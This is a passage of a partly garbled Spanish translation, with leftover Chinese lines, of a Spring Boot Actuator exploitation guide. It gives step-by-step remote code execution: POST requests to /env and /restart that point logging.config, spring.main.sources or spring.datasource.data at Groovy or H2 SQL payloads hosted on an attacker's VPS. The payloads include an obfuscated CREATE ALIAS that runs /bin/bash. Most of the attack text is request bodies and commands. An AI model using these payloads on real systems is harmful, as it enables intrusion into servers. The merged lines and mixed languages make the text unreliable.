5. La máquina objetivo solicita al servidor JNDI malicioso, lo que provoca una inyección JNDI, resultando en una vulnerabilidad RCE.
#### Análisis de la vulnerabilidad:
[spring boot actuator rce via jolokia](https://xz.aliyun.com/t/4258)
https://landgrey.me/blog/21/
#### Entorno de la vulnerabilidad:
[repository/springboot-restart-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-restart-rce)
Acceso normal:```
http://127.0.0.1:9098/actuator/env
/env del sitio objetivo para establecer propiedades./restart del sitio objetivo para reiniciar la aplicación.Iniciar un servidor HTTP simple en una máquina VPS controlada por el atacante, utilizando en lo posible puertos de servicio HTTP comunes (80, 443).```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
在根目录放置以 `groovy` 结尾的 `example.groovy` 文件,内容为需要执行的 groovy 代码,比如:```xml
Runtime.getRuntime().exec("open -a Calculator")
spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded
logging.config=http://your-vps-ip/example.groovy
spring 2.x```
POST /actuator/env
Content-Type: application/json
{"name":"logging.config","value":"http://your-vps-ip/example.groovy"}
spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/restart
Content-Type: application/json
logging.config.ch.qos.logback.classic.util.ContextInitializer.java del componente logback-classic, se juzgará si la URL termina con groovy.groovy, finalmente se ejecutará el código groovy en el contenido del archivo, causando una vulnerabilidad RCE.Acceso normal:``` http://127.0.0.1:9098/actuator/env
### 0x0B:restart spring.main.sources groovy RCE
#### Condiciones de explotación:
- Poder enviar una solicitud POST al endpoint `/env` del sitio objetivo para establecer propiedades
- Poder enviar una solicitud POST al endpoint `/restart` del sitio objetivo para reiniciar la aplicación
- ⚠️ El objetivo debe poder solicitar el servidor HTTP del atacante (la solicitud debe poder salir a la red externa); de lo contrario, el reinicio provocará una salida anormal del programa
- ⚠️ Si el servidor HTTP devuelve un archivo con contenido groovy malformado, el programa saldrá anormalmente
- ⚠️ Debe existir la dependencia groovy en el entorno; de lo contrario, el programa saldrá anormalmente
#### Método de explotación:
##### Paso 1: Alojar el archivo groovy
Inicie un servidor HTTP simple en su propia máquina VPS, utilizando preferiblemente puertos de servicio HTTP comunes (80, 443)```bash
# 使用 python 快速开启 http server
python2 -m SimpleHTTPServer 80
python3 -m http.server 80
Coloque en el directorio raíz un archivo example.groovy que termine en groovy, cuyo contenido sea el código groovy que se debe ejecutar, por ejemplo:```xml
Runtime.getRuntime().exec("open -a Calculator")
##### Paso 2: Establecer la propiedad spring.main.sources
spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded
spring.main.sources=http://your-vps-ip/example.groovy
spring 2.x``` POST /actuator/env Content-Type: application/json
{"name":"spring.main.sources","value":"http://your-vps-ip/example.groovy"}
##### Paso tres: Reiniciar la aplicación
spring 1.x```
POST /restart
Content-Type: application/x-www-form-urlencoded
spring 2.x``` POST /actuator/restart Content-Type: application/json
#### Principio de la vulnerabilidad:
1. La máquina objetivo puede configurar la URL de fuentes adicionales para crear ApplicationContext mediante la propiedad `spring.main.sources`
2. Después de reiniciar la aplicación, el programa solicitará la URL configurada
3. En el componente `spring-boot`, la lógica del código del archivo `org.springframework.boot.BeanDefinitionLoader.java` determina si la URL termina en `.groovy`
4. Si la URL termina en `.groovy`, finalmente se ejecutará el código groovy en el contenido del archivo, causando una vulnerabilidad de RCE
#### Entorno de vulnerabilidad:
[repository/springboot-restart-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-restart-rce)
Acceso normal:```
http://127.0.0.1:9098/actuator/env
/env del sitio objetivo para establecer propiedades/restart para reiniciar la aplicaciónh2database, spring-boot-starter-data-jpaInicie un servidor HTTP simple en una máquina VPS que controle, utilizando un puerto de servicio HTTP común (80, 443) siempre que sea posible```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
Coloca un archivo con cualquier nombre en el directorio raíz, cuyo contenido sea el código SQL de h2 que se debe ejecutar, por ejemplo:
> ⚠️ El método 'T5' en el payload siguiente solo se puede ejecutar una vez con restart; después, para un nuevo restart, se debe cambiar el nombre del método (por ejemplo, T6) y establecer una nueva URL de SQL para que pueda ser reutilizado por restart; de lo contrario, al reiniciar la aplicación por segunda vez con restart, el programa saldrá de forma anormal.```xml
CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('/bin/bash','-c','open -a Calculator');
spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded
spring.datasource.data=http://your-vps-ip/example.sql
spring 2.x```
POST /actuator/env
Content-Type: application/json
{"name":"spring.datasource.data","value":"http://your-vps-ip/example.sql"}
spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/restart
Content-Type: application/json
spring.datasource.data.spring-boot-autoconfigure, el archivo org.springframework.boot.autoconfigure.jdbc.DataSourceInitializer.java usa el método runScripts para ejecutar el código sql de la base de datos h2 contenido en la URL solicitada, lo que provoca una vulnerabilidad RCE.Acceso normal:``` http://127.0.0.1:9098/actuator/env